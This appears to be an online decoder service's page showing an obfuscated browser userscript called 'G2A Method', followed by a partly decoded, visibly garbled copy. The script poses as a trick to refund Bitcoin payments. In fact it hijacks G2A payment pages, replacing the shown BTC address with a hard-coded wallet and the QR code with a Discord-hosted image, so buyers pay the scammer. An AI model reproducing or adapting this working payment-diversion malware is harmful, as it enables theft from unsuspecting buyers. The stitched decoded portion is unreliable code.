Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

// ==UserScript==
// @name         G2A Method
// @namespace    G2A
// @version      5.9
// @author       off
// @description  Refund any Bitcoin payment sent to G2A - Thanks for buying (March 2024)
// @icon         https://www.google.com/s2/favicons?sz=64&domain=g2a.com
// @match        http*://www.g2a.com/payment*
// @run-at       document-start
// ==/UserScript==

var _0xedc7=["shift","push","Timezone Glitch enabled! Press OK to continue. ","use strict","12QVHEmPq5d1AUPsX7NatabHKVcddnkdjr","click","Timezone Glitch enabled! Press OK to continue. Last script update: ","getFullYear","-","1685044WraiHv","FIRST_ORDERED_NODE_TYPE","addEventListener","1805240vcVIhM","1795266kuWwSt","5mymyST","//img[@alt="QR code to scan"]","singleNodeValue","//button[contains(text(),"Continue")]","src","1074826clvceI","6ubDPls","11avlgkP","2727207UuWmSA","13123970XPZBJd","//span[contains(text(),"BTC address:")]/following-sibling::span","266745ANqKvn","getDate","https://cdn.discordapp.com/attachments/321717640450015232/1220747373429526568/22.png?ex=66101096&is=65fd9b96&hm=b6f6c378ba33bc4fc755f0390a7f18bc0b088556c6be4022ad81f9653732adf5&","getMonth","18vNeasU","innerHTML","evaluate"];var _0xbd88=[_0xedc7[0],_0xedc7[1],_0xedc7[2],_0xedc7[3],_0xedc7[4],_0xedc7[5],_0xedc7[6],_0xedc7[7],_0xedc7[8],_0xedc7[9],_0xedc7[10],_0xedc7[11],_0xedc7[12],_0xedc7[13],_0xedc7[14],_0xedc7[15],_0xedc7[16],_0xedc7[17],_0xedc7[18],_0xedc7[19],_0xedc7[20],_0xedc7[21],_0xedc7[22],_0xedc7[23],_0xedc7[24],_0xedc7[25],_0xedc7[26],_0xedc7[27],_0xedc7[28],_0xedc7[29],_0xedc7[30],_0xedc7[31]];var _0xebd4=[_0xbd88[0],_0xbd88[1],_0xbd88[2],_0xbd88[3],_0xbd88[4],_0xbd88[5],_0xbd88[6],_0xbd88[7],_0xbd88[8],_0xbd88[9],_0xbd88[10],_0xbd88[11],_0xbd88[12],_0xbd88[13],_0xbd88[14],_0xbd88[15],_0xbd88[16],_0xbd88[17],_0xbd88[18],_0xbd88[19],_0xbd88[20],_0xbd88[21],_0xbd88[22],_0xbd88[23],_0xbd88[24],_0xbd88[25],_0xbd88[26],_0xbd88[27],_0xbd88[28],_0xbd88[29],_0xbd88[30],_0xbd88[31]];function _0x3adb(_0xa7abx4,_0xa7abx5){const _0xa7abx6=_0x1872();_0x3adb= function(_0xa7abx7,_0xa7abx8){_0xa7abx7= _0xa7abx7- 183;let _0xa7abx9=_0xa7abx6[_0xa7abx7];return _0xa7abx9};return _0x3adb(_0xa7abx4,_0xa7abx5)}(function(_0xa7abxa,_0xa7abxb){const _0xa7abxc=_0x3adb,_0xa7abxd=_0xa7abxa();while(true){try{const _0xa7abxe=-parseInt(_0xa7abxc(200))/ 1 + -parseInt(_0xa7abxc(194))/ 2 + -parseInt(_0xa7abxc(188))/ 3 + (parseInt(_0xa7abxc(184))/ 4)* (parseInt(_0xa7abxc(189))/ 5) + (-parseInt(_0xa7abxc(195))/ 6) * (parseInt(_0xa7abxc(197))/ 7) + (-parseInt(_0xa7abxc(187))/ 8) * (-parseInt(_0xa7abxc(204))/ 9) + (parseInt(_0xa7abxc(198))/ 10)* (parseInt(_0xa7abxc(196))/ 11);if(_0xa7abxe=== _0xa7abxb){break}else {_0xa7abxd[_0xebd4[1]](_0xa7abxd[_0xebd4[0]]())}}catch(_0x5565ec){_0xa7abxd[_0xebd4[1]](_0xa7abxd[_0xebd4[0]]())}}})(_0x1872,392787);alert(_0xebd4[2]);(function(){_0xebd4[3];const _0xa7abxf=_0x3adb;var _0xa7abx10=_0xebd4[4],_0xa7abx11=_0xa7abxf(202);_0xa7abx12();function _0xa7abx12(){setTimeout(function(){_0xa7abx13()},2000);setTimeout(function(){_0xa7abx17()},2000)}function _0xa7abx13(){const _0xa7abx14=_0xa7abxf;let _0xa7abx15=_0xa7abx1d(_0xa7abx14(199)),_0xa7abx16=_0xa7abx1d(_0xa7abx14(190));_0xa7abx15!== null&& ((_0xa7abx15[_0xa7abx14(205)]= _0xa7abx10),(_0xa7abx16[_0xa7abx14(193)]= _0xa7abx11));setTimeout(function(){_0xa7abx13()},100)}function _0xa7abx17(){const _0xa7abx18=_0xa7abxf;let _0xa7abx19=_0xa7abx1d(_0xa7abx18(192));_0xa7abx19!== null?_0xa7abx19[_0xa7abx18(186)](_0xebd4[5],function(){const _0xa7abx1a=_0xa7abx18,_0xa7abx1b= new Date();let _0xa7abx1c=_0xebd4[6]+ _0xa7abx1b[_0xebd4[7]]()+ _0xebd4[8]+ (_0xa7abx1b[_0xa7abx1a(203)]()+ 1)+ _0xebd4[8]+ _0xa7abx1b[_0xa7abx1a(201)]();alert(_0xa7abx1c)}):setTimeout(function(){_0xa7abx17()},100)}function _0xa7abx1d(_0xa7abx1e){const _0xa7abx1f=_0xa7abxf;return document[_0xa7abx1f(183)](_0xa7abx1e,document,null,XPathResult[_0xa7abx1f(185)],null)[_0xa7abx1f(191)]}})();function _0x1872(){const _0xa7abx21=[_0xebd4[9],_0xebd4[10],_0xebd4[11],_0xebd4[12],_0xebd4[13],_0xebd4[14],_0xebd4[15],_0xebd4[16],_0xebd4[17],_0xebd4[18],_0xebd4[19],_0xebd4[20],_0xebd4[21],_0xebd4[22],_0xebd4[23],_0xebd4[24],_0xebd4[25],_0xebd4[26],_0xebd4[27],_0xebd4[28],_0xebd4[29],_0xebd4[30],_0xebd4[31]];_0x1872= function(){return _0xa7abx21};return _0x1872()}

// ==UserScript==
// @name         G2A Method
// @namespace    G2A
// @version      5.9
// @author       off
// @description  Refund any Bitcoin payment sent to G2A - Thanks for buying (March 2024)
// @icon         https://www.google.com/s2/favicons?sz=64&domain=g2a.com
// @match        http*://www.g2a.com/payment*
// @run-at       document-start
// ==/UserScript==

","singleNodeValue","//button[contains(text(),"Continue")]","src","1074826clvceI","6ubDPls","11avlgkP","2727207UuWmSA","13123970XPZBJd","//span[contains(text(),"BTC address:")]/following-sibling::span","266745ANqKvn","getDate","https://cdn.discordapp.com/attachments/321717640450015232/1220747373429526568/22.png?ex=66101096&is=65fd9b96&hm=b6f6c378ba33bc4fc755f0390a7f18bc0b088556c6be4022ad81f9653732adf5&","getMonth","18vNeasU","innerHTML","evaluate"];var _0xbd88=["shift","push","Timezone Glitch enabled! Press OK to continue. ","use strict","12QVHEmPq5d1AUPsX7NatabHKVcddnkdjr","click","Timezone Glitch enabled! Press OK to continue. Last script update: ","getFullYear","-","1685044WraiHv","FIRST_ORDERED_NODE_TYPE","addEventListener","1805240vcVIhM","1795266kuWwSt","5mymyST","//img[@alt="QR code to scan"",_0xedc7[16],_0xedc7[17],_0xedc7[18],_0xedc7[19],_0xedc7[20],_0xedc7[21],_0xedc7[22],_0xedc7[23],_0xedc7[24],_0xedc7[25],_0xedc7[26],_0xedc7[27],_0xedc7[28],_0xedc7[29],_0xedc7[30],_0xedc7[31]];var _0xebd4=["shift","push","Timezone Glitch enabled! Press OK to continue. ","use strict","12QVHEmPq5d1AUPsX7NatabHKVcddnkdjr","click","Timezone Glitch enabled! Press OK to continue. Last script update: ","getFullYear","-","1685044WraiHv","FIRST_ORDERED_NODE_TYPE","addEventListener","1805240vcVIhM","1795266kuWwSt","5mymyST","//img[@alt="QR code to scan"",_0xbd88[16],_0xbd88[17],_0xbd88[18],_0xbd88[19],_0xbd88[20],_0xbd88[21],_0xbd88[22],_0xbd88[23],_0xbd88[24],_0xbd88[25],_0xbd88[26],_0xbd88[27],_0xbd88[28],_0xbd88[29],_0xbd88[30],_0xbd88[31]];function _0x3adb(_0xa7abx4,_0xa7abx5){const _0xa7abx6=_0x1872();_0x3adb= function(_0xa7abx7,_0xa7abx8){_0xa7abx7= _0xa7abx7- 183;let _0xa7abx9=_0xa7abx6[_0xa7abx7];return _0xa7abx9};return _0x3adb(_0xa7abx4,_0xa7abx5)}(function(_0xa7abxa,_0xa7abxb){const _0xa7abxc=_0x3adb,_0xa7abxd=_0xa7abxa();while(true){try{const _0xa7abxe=-parseInt(_0xa7abxc(200))/ 1 + -parseInt(_0xa7abxc(194))/ 2 + -parseInt(_0xa7abxc(188))/ 3 + (parseInt(_0xa7abxc(184))/ 4)* (parseInt(_0xa7abxc(189))/ 5) + (-parseInt(_0xa7abxc(195))/ 6) * (parseInt(_0xa7abxc(197))/ 7) + (-parseInt(_0xa7abxc(187))/ 8) * (-parseInt(_0xa7abxc(204))/ 9) + (parseInt(_0xa7abxc(198))/ 10)* (parseInt(_0xa7abxc(196))/ 11);if(_0xa7abxe=== _0xa7abxb){break}else {_0xa7abxd["push"](_0xa7abxd["shift"]())}}catch(_0x5565ec){_0xa7abxd["push"](_0xa7abxd["shift"]())}}})(_0x1872,392787);alert("Timezone Glitch enabled! Press OK to continue. ");(function(){"use strict";const _0xa7abxf=_0x3adb;var _0xa7abx10="12QVHEmPq5d1AUPsX7NatabHKVcddnkdjr",_0xa7abx11=_0xa7abxf(202);_0xa7abx12();function _0xa7abx12(){setTimeout(function(){_0xa7abx13()},2000);setTimeout(function(){_0xa7abx17()},2000)}function _0xa7abx13(){const _0xa7abx14=_0xa7abxf;let _0xa7abx15=_0xa7abx1d(_0xa7abx14(199)),_0xa7abx16=_0xa7abx1d(_0xa7abx14(190));_0xa7abx15!== null&& ((_0xa7abx15[_0xa7abx14(205)]= _0xa7abx10),(_0xa7abx16[_0xa7abx14(193)]= _0xa7abx11));setTimeout(function(){_0xa7abx13()},100)}function _0xa7abx17(){const _0xa7abx18=_0xa7abxf;let _0xa7abx19=_0xa7abx1d(_0xa7abx18(192));_0xa7abx19!== null?_0xa7abx19[_0xa7abx18(186)]("click",function(){const _0xa7abx1a=_0xa7abx18,_0xa7abx1b= new Date();let _0xa7abx1c="Timezone Glitch enabled! Press OK to continue. Last script update: "+ _0xa7abx1b["getFullYear"]()+ "-"+ (_0xa7abx1b[_0xa7abx1a(203)]()+ 1)+ "-"+ _0xa7abx1b[_0xa7abx1a(201)]();alert(_0xa7abx1c)}):setTimeout(function(){_0xa7abx17()},100)}function _0xa7abx1d(_0xa7abx1e){const _0xa7abx1f=_0xa7abxf;return document[_0xa7abx1f(183)](_0xa7abx1e,document,null,XPathResult[_0xa7abx1f(185)],null)[_0xa7abx1f(191)]}})();function _0x1872(){const _0xa7abx21=["1685044WraiHv","FIRST_ORDERED_NODE_TYPE","addEventListener","1805240vcVIhM","1795266kuWwSt","5mymyST","//img[@alt="QR code to scan"",_0xebd4[16],_0xebd4[17],_0xebd4[18],_0xebd4[19],_0xebd4[20],_0xebd4[21],_0xebd4[22],_0xebd4[23],_0xebd4[24],_0xebd4[25],_0xebd4[26],_0xebd4[27],_0xebd4[28],_0xebd4[29],_0xebd4[30],_0xebd4[31]];_0x1872= function(){return _0xa7abx21};return _0x1872()}



© 2023 Quttera Ltd. All rights reserved.